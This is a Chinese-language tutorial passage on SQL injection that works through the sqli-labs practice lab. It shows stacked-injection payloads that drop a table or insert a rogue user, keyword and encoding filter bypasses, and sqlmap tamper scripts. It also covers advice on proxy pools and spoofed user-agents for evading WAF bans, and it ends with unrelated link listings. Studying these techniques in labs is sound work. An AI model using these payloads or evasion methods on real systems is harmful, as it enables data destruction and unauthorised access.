07_SQL注入_堆叠注入&绕过注入

1.堆叠注入

1.1 注入理论

谈及堆叠,顾名思义:就是多条语句一同执行。实际开发中,部分数据库支持多条SQL语句同时执行,在这样的场景下进行SQL注入,我们是否能够在payload中构造多条可执行语句呢?当然可以。SQL语句中“;”代表了一条语句的结束,在写入payload时只需要用“;”分割多条语句,在限制不到位的情况下就可以自定义执行多条语句,案例如下:

假设数据库中存在表users

$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

如果恶意用户将参数人为构造成:?id=1' ;drop table users --+

垓参数与SQL语句进行拼接,就会变为:

SELECT * FROM users WHERE id='1' ;drop table users; --+' LIMIT 0,1

一旦恶意代码被执行,users表就会被删除

通过上述案例,不难发现,对比与联合查询union,使用堆叠注入的手法能够拼接任意可执行语句而不是仅仅局限于先前union只能够拼接查询语句。这样一来,堆叠注入的使用场景就清晰了:当我们收集到足够的信息后,堆叠注入可以帮助我们实现更多的自定义操作:例如在权限足够的情况下向表中插入新的管理员,再例如导出或删除关键数据库信息。但是需要注意,使用堆叠注入的手法也存在着局限性:并不是所有的数据库都支持多条语句同时执行。常见的支持堆叠的数据库有MySQL、MsSQL。至于Oracle,堆叠注入就不适用了。

1.2 堆叠注入案例

【靶场】sqli-labs-less38

【目标】利用堆叠注入的手法向数据库中添加自定义用户

注入点判断

GET /sqli-labs-master/Less-38/?id=1' HTTP/1.1

GET /sqli-labs-master/Less-38/?id=1'--+ HTTP/1.1

GET /sqli-labs-master/Less-38/?id=1' and 1=2--+ HTTP/1.1

信息收集

GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,2,3--+ HTTP/1.1

GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,version(),database()--+ HTTP/1.1

GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,user(),database()--+ HTTP/1.1

查询信息

GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+ HTTP/1.1

GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users"--+ HTTP/1.1

至此我们得到users的表结构

id username password

利用堆叠注入向users中插入数据

GET /sqli-labs-master/Less-38/?id=1' ;insert into users(id,username,password) values ("88","test_stack","1234567");--+ HTTP/1.1

查看数据库:插入成功

2.绕过注入

常见绕过思路

本节主要介绍面向比赛的绕过方式和思路,在CTF比赛中,需要配合绕过的题型占比较大,因此对于绕过的手法和思路是必须的。CTF的题型涉及大多面向实战,此类题型对应实际业务中的WAF绕过,但实际业务中的操作必然要更加复杂,CTF中的题型只是为了开拓绕过的思考方向。

首先思考,我们需要绕过的是什么?反向思考,如果你是开发者,你会怎么做来降低SQL注入的可能性?一种思路是将代码写的更加严谨,从编码开始就对用户的输入进行过滤:

1.关键字过滤

#这种情况下可以采用关键字穿插的方式
or     --> oorr
and    --> aandnd
union  --> uunionnion
select --> seselectlect
... ...
#仅在比赛情况下,也可以采用大小写的方式来进行绕过
#但是在实战中,采用这种策略已经不是那么的实用
or     --> Or
select --> SEleCt
union  --> UniOn
and    --> aND

【案例】SQLi-labs-less 25

GET /sqli-labs-master/Less-25/?id=1' and 1=2--+ HTTP/1.1

页面出现报错,下方提示:Your Input is Filtered with following result: 1’ 1=2–

说明这里再编码时将and进行了过滤,采用关键字穿插进行尝试

GET /sqli-labs-master/Less-25/?id=1' aandnd 1=2--+ HTTP/1.1

达到预期效果,至此有两条思路进行后续渗透:其一、联合查询;其二、报错注入;不加赘述

2.加密绕过

有些情况下,过滤函数可能采用了加密编码的方式进行过滤,此时只需要采用工具进行相同的加密方式对payload进行提交即可,这里需要用到burp suite中的decoder模块进行操作。有时会遇到采用HEX十六进制编码的形式进行参数过滤,这时需要采用decoder模块对关键字进行整体或部分的替换

#base 64 编码
select   --> c2VsZWN0
or       --> b3I=
and      --> YW5k
union    --> dW5pb24=
#十六进制
and      --> an\x64
or       --> selec\x74

参见前篇博客:传送门

3.利用注释和特殊符号

#常见注释符
#
--
//
/***/
/**/
;%00

有时可以通过注释符来进行绕过,假设开发者对空格进行了限制:payload中可以采用如下方式

select/**/table_name/**/from/**/infromation_schema.tables

换行符%0A有时也可以对过滤机制进行干扰,因为在一些数据库中允许SQL语句换行如下所示:

不难发现,对于SQL注入的防护大多是基于过滤的,绕过思路归结起来就是采用其他方式干扰检测机制,无论注释符还是换行符等符号,包括URL编码结果都是有限的,但即便是有限的变化,对于手工注入而言,还是相当耗费时间和精力的。此时我们需要用到sqlmap这样一个强大的工具,很多人会说,sqlmap有手就行,其原因也也很简单:对于其支持的数据库,采用相同的语法就能操作。但这个工具真正强大至此在于,当测试人员掌握了一定的开发能力,既可以在tamper中加入一些自定义脚本,实现一些操作,这些操作中就包括了WAF绕过,这种情况下需要调用tamper中的py脚本进行绕过。

1、apostrophemask.py

作用:将引号替换为utf-8,用于过滤单引号

2、base64encode.py

作用:替换base64编码

3、multiplespaces.py

作用:围绕sql关键字添加多个空格

4、space2plus.py

作用:用加号替换空格

5、space2randomblank.py

作用:将空格替换为其他随机有效字符

6、unionalltounion.py

作用:将union all select 替换为union select

使用脚本前:tamper(‘-1 UNION ALL SELECT’)

7、space2dash.py

作用:将空格替换为破折号(–),并添加一个随机字符和换行符(\n)

9、between.py

作用:将">“替换为"NOT BETWEEN 0 AND #”,将"=“替换为"BETWEEN # AND #”

10、charencode.py
测试数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:对指定的payload全部使用url编码(不处理已进行编码的字符)

11、randomcase.py

作用:将字符替换为随机大小写

12、space2comment.py

作用:将空格替换为/**/

很多情况下需要根据实际情况,自定义编写脚本进行操作,但是随着防火墙技术的发展,不少WAF一旦检测到非法输入就会将IP拉黑,这种情况下又要怎么处理呢?理论上,可以利用代理池技术。何为代理池?通俗的说,就是准备大量的代理节点对目标进行尝试,一旦IP被拉黑就换一个代理继续测试。

与此同时,在使用sqlmap进行实际注入时,还需要将自身伪装成合理的用户。不少WAF软件都存在着“爬虫白名单”,里面记录了主流浏览器的爬虫头,现整理如下:

USER_AGENTS =
['Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)','Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1','Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1','Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11','Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)','Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,likeGecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5','Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5','Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5','Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1','MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1','Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10','Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13','Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+','Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0','Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124','Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)','UCWEB7.0.2.37/28/999','NOKIA5700/ UCWEB7.0.2.37/28/999','Openwave/ UCWEB7.0.2.37/28/999','Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999']

SQL注入部分结束,接下啦将介绍文件上传漏洞

07_SQL注入_堆叠注入绕过注入相关推荐

  1. 反引号注入_什么是 SQL 注入?

    (给ImportNew加星标,提高Java技能) 转自:Java程序员联盟 文章目录: 何谓SQL注入? SQL数据库操作示例 SQL数据库注入示例 如何防止SQL注入问题 SQL数据库反注入示例 何 ...

  2. python依赖注入_什么是依赖注入?

    这篇文章是关于一般依赖关系注入和在PHP中实现依赖注入容器系列的第一部分. 今天我不会谈论容器然而我想以一些具体的示例介绍依赖注入的概念希望说明尝试去解决问题和它给开发者带来的好处.如果你已经知道依赖 ...

  3. java什么是依赖注入_什么是依赖注入?

    转自 https://blog.csdn.net/coding_1994/article/details/80634810,这位作者写的很清晰. Spring 能有效地组织J2EE应用各层的对象.不管 ...

  4. mysql dns 注入_数据库DNSLog外带注入-总结

    sql注入中利用的骚姿势你又知道几个? DNSLog外带注入和DNSlog带外注入?(OOB) 其实是一样的,叫法不同!本人还是习惯叫外带注入,自我感觉,比较顺口 为什么需要外带注入? 当我们对一个数 ...

  5. java代码防止sql注入_动态Java代码注入

    java代码防止sql注入 在本文中,我们将研究如何将Java代码动态加载到正在运行的jvm中. 该代码可能是全新的,或者我们可能想更改程序中某些现有代码的功能. (在开始之前,您可能想知道为什么到底 ...

  6. mysql宽字节注入_转宽字节注入详解

    在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等, 还有一种情况是magic_quote_gpc,不过高 ...

  7. python依赖注入_如何做依赖注入python方式?

    这一切都取决于情况.例如,如果您使用依赖注入来进行测试,所以您可以轻松地嘲笑某些内容 – 您可以经常放弃注入:您可以嘲笑您将注入的模块或类: subprocess.Popen = some_mock_ ...

  8. jsp mysql 注入_由Jsp+Mysql注入到root权限的全程展 【好久没有安全类文章了,转一篇看看】...

    由Jsp+Mysql注入到root权限的全程展 最近有点空闲,所以写点垃圾文章来消磨一下时间.文中没有什么技术含量,如果要转载,请注明作者并保持文章的完整. 很多人可能都知道asp,php的编程要防止 ...

  9. 搭建mysql注入_常见的sql注入环境搭建

    常见的sql注入环境搭建 By : Mirror王宇阳 Time:2020-01-06 PHP+MySQL摘要 $conn = new mysqli('数据库服务器','username','pass ...

最新文章

  1. sql sever avg保留小数_《数据库系统概念》笔记 (一)SQL
  2. 嵌入式系统实验 构建嵌入式Linux系统,《嵌入式系统与开发》构建嵌入式Linux系统-实验报告.doc...
  3. linux下安装apache tomcat,Linux CentOS 7下 Apache Tomcat 7 安装与配置
  4. 20190216 vagrant up 失败问题
  5. C++ 后台程序实时性能监控
  6. 面试问题:Spring实现AOP的方式
  7. BAPI:BAPI_PRODORDCONF_CREATE_TT (TCODE:CO11N)
  8. HDU1693 Eat The Trees(插头dp)
  9. 由帧内8x8预测到MBAFF时相邻块的推导
  10. INTEL 傲腾16G 的再利用
  11. 项目1 :家庭记账系统
  12. 在Vmware 14 pro 中安装中兴新支点操作系统
  13. 微信小程序学习总结(旋转音乐盒)
  14. C++ 学习记录(18) NVI
  15. aardio java_图形界面Aardio
  16. mysqldump加速导入参数说明
  17. Excel表列名称(4)
  18. Wireshark内容过滤方法
  19. 华衫科技-实训课程-小滴服务(Html-Css-Javascript)
  20. java注解 @Target和@Retention详解

热门文章

  1. 2022年PMP认证6月考试,保证通过,拿到PMP认证就能月入5万
  2. 什么是虚拟多登浏览器?
  3. 视频教程-《AE视频教程——3小时从入门到精通》-After Effects(AE)
  4. 云展网教程 | 如何保存和应用自定义模版主题【付费用户功能】
  5. 检测设备是否为模拟器,是否root,禁止截屏
  6. 愚人节恶搞:楠哥凡客体广告
  7. CMDB Autoclient思路分析
  8. dell 摄像头黑屏
  9. 什么是alpha matting?
  10. 打印四叶玫瑰数并记录个数